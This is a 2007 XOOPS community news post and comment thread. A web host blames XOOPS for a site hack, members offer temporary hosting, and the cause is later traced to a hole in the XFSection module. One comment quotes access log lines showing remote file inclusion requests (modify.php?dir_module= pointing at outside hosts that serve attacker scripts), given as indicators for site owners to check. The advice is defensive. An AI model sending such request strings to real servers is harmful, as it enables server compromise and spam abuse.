Easyhosting to consider withdrawal of support for Xoops - Security - XOOPS News - XOOPS Web Application System

XOOPS

News

News World of XOOPS Developers Hacks Themes Archive Submit News

Security: Easyhosting to consider withdrawal of support for Xoops

Posted by: chippyashOn 2007/6/3 23:39:42 14253 reads

Following a hack on one of our websites, the site hosters have claimed that the hack occured because of insecurity in the Xoops systems.

To quote Easyhosting

Quote:

I think it very likely that we would not host xoops any longer on any of our servers.

Now you have to take this with a little pinch of salt as the only hacks that have experienced by us have been on Easyhosting's servers. (Other sites are run on a different hosters.) Easyhosting have been asked to provide details (in detail) of the security breaches and the response is awaited. We might be waiting a long time.

In the meantime valentinewalton.co.uk and bbcb.co.uk (not effected yet but on the same hosters) need a fast and free home for 3-6 months while this stuff gets sorted.

Respond to this news:
Specific offers of help to akitson at bbcb dot co dot uk
Security help - post a comment - help others

The comments are owned by the author. We aren't responsible for their content.

user

Re: Easyhosting to consider withdrawal of support for Xoops

JMorris Published 06/04/2007 3:28 XOOPS is my life! Joined 04/11/2004 Comments 2722

Sounds like an improperly configured server to me. If they have their user and file system permissions correctly configured, as well as the software, then directory listings, cross-account code execution and cross site scripting would not be possible.

As as fellow server admin, it sounds more like an issue of ignorance on their part than anything wrong with XOOPS.

On a more personal note, if there is anything I can do to help you, let me know. I have resources available on my personal hosting. It's not the fastest, but it will get you through until you can find a permanent home.

user

Re: Easyhosting to consider withdrawal of support for Xoops

irmtfan Published 06/04/2007 6:04 Module Developer Joined 12/07/2003 Comments 3419

i think many of us have care about our XOOPS sites and want to know if they send you any response.

and i send you a PM

Re: Easyhosting to consider withdrawal of support for Xoops

davidl2 Published 06/04/2007 7:13 XOOPS is my life! Joined 05/26/2003 Comments 4843

I've offered to look after one of Atkinson's sites for him for a while - if my Bandwidth will take it ... I'd take both, but not sure if I've enough free resources

Re: Easyhosting to consider withdrawal of support for Xoops

Peekay Published 06/04/2007 8:08 Updated 06/04/2007 8:10 XOOPS is my life! Joined 11/20/2004 Comments 2335

Quote:

it sounds more like an issue of ignorance on their part than anything wrong with XOOPS.

I agree. A good host would be able to qualify a statement regarding vulnerabilities of a particular web application. A knee-jerk reaction like that sounds like they don't really know what they're doing. Unless they come up with any concrete evidence, it's time to move.

user

Re: Easyhosting to consider withdrawal of support for Xoops

aph3x Published 06/04/2007 9:08 Theme Designer Joined 12/26/2004 Comments 834

@akitson i sent you a pm

Re: Easyhosting to consider withdrawal of support for Xoops

chippyash Published 06/04/2007 10:40 Friend of XOOPS Joined 01/29/2004 Comments 501

Thanks Guys for your offers of space. I've got a home for one and Davidl2 has kindly offered space on his space at 3dPixelnet (where I have now got all my other sites, so it makes some sense to keep them together.)

As I get more info from easyhosting I'll share it.

Re: Easyhosting to consider withdrawal of support for Xoops

chippyash Published 06/08/2007 4:52 Friend of XOOPS Joined 01/29/2004 Comments 501

The security hole was found in XFSection. If you are running XFSection < 1.12 then you need to upgrade. Not sure how it's done yet.

user

Re: Easyhosting to consider withdrawal of support for Xoops

gestroud Published 06/08/2007 5:28 Home away from home Joined 12/22/2004 Comments 1538

XFSection's developer suggests that users of the module switch to SmartFactory's Smartsection module. He provides upgrade info here:
http://linux2.ohwada.net/modules/smartsection/category.php?categoryid=3

Re: Easyhosting to consider withdrawal of support for Xoops

davidl2 Published 06/08/2007 6:21 XOOPS is my life! Joined 05/26/2003 Comments 4843

Yes, I think Atkinson was thinking of moving to this.

Atkinson - can you let Easyhosting know of the cause of that issue? Cheers.

Re: Easyhosting to consider withdrawal of support for Xoops

Peekay Published 06/08/2007 9:42 XOOPS is my life! Joined 11/20/2004 Comments 2335

Quote:

The security hole was found in XFSection.

Who found that, The Easyhosting techs?

Re: Easyhosting to consider withdrawal of support for Xoops

davidl2 Published 06/08/2007 9:48 Updated 06/08/2007 9:50 XOOPS is my life! Joined 05/26/2003 Comments 4843

No - Atkinson, the 3dPixelnet techs - and myself

The XFSection developer had fortunately fixed this issue a while ago.

Re: Easyhosting to consider withdrawal of support for Xoops

chippyash Published 06/08/2007 11:24 Updated 06/08/2007 11:26 Friend of XOOPS Joined 01/29/2004 Comments 501

To add to this:

If you are running XFSection then look in your site access logs for entries like these:

07.218.231.178 - - [08/Jun/2007:11:42:57 +0100] "GET /modules/xfsection/modify.php?dir_module=http://www.insanmistik.org/x1.txt? HTTP/1.1" 403 486 "-" "libwww-perl/5.805"

70.86.113.114 - - [08/Jun/2007:03:09:15 +0100] "GET /modules/xfsection/modify.php?dir_module=http://k52.jp/echo? HTTP/1.1" 403 486 "-" "libwww-perl/5.805"

208.67.252.215 - - [08/Jun/2007:03:15:12 +0100] "GET /modules/xfsection/modify.php?dir_module=http://b4ngs4t.com/echo?? HTTP/1.1" 403 490 "-" "libwww-perl/5.79"

65.98.89.146 - - [08/Jun/2007:03:19:52 +0100] "GET /modules/xfsection//modules/xfsection/modify.php?dir_module=http://www.apnic.net/index.html? HTTP/1.1" 403 505 "-" "libwww-perl/5.805"

59.106.13.148 - - [08/Jun/2007:03:28:51 +0100] "GET /modules/xfsection/modify.php?dir_module=http://b4ngs4t.com/echo?? HTTP/1.1" 403 486 "-" "libwww-perl/5.79"

The important bit is /modules/xfsection/modify.php?dir_module=

followed by a random URL 'libwww-perl' as a user-agent may also be relevent.

This is apparently letting in r57shells (that's what I'm told, the only reference I can find is in German here http://www.phpforum.de/archiv_57320_PHPShells@finden@@blocken_anzeigen.html
)

If you have these types of entries then you are being hacked and the server you are running on is being used to send junk spam mail, potentially in the tens of thousands.

Upgrade to SmartSection is the answer.

I'm going to contact GIJOE to see if he can add something to XOOPS Protector to stop this sort of thing happening.

Login

Username

Password

Remember me

Register now! | Lost Password?

Search

Advanced Search

Recent Comments

Re: New Admin Theme for XOOPS (Beta)

Publisher liomj 10/28/2024 23:33
Sanford Pharmacy: Exceptional Pharmacy Services Tailored to You

Publisher donaldjohn 10/16/2024 9:53
Re: New Admin Theme for XOOPS (Beta)

Publisher walkero 10/15/2024 18:30
Re: XOOPS 2.5.12 Beta-2 available for Testing

Publisher cadch 08/30/2024 6:33
Re: XOOPS 2.5.12 Beta-2 available for Testing

Publisher cadch 08/30/2024 6:30

Who's Online

301 user(s) are online (7 user(s) are browsing XOOPS News)

Members: 0

Guests: 301

Donat-O-Meter

Stats
Goal:	$100.00
Due Date:	Nov 30
Gross Amount:	$0.00
Net Balance:	$0.00
Left to go:	$100.00

Latest GitHub Commits

{{ record.sha.slice(0, 7) }} - {{ record.commit.message | truncate }}

{{ record.commit.author.name }} {{ record.commit.author.date | formatDate }}

Archives

News archives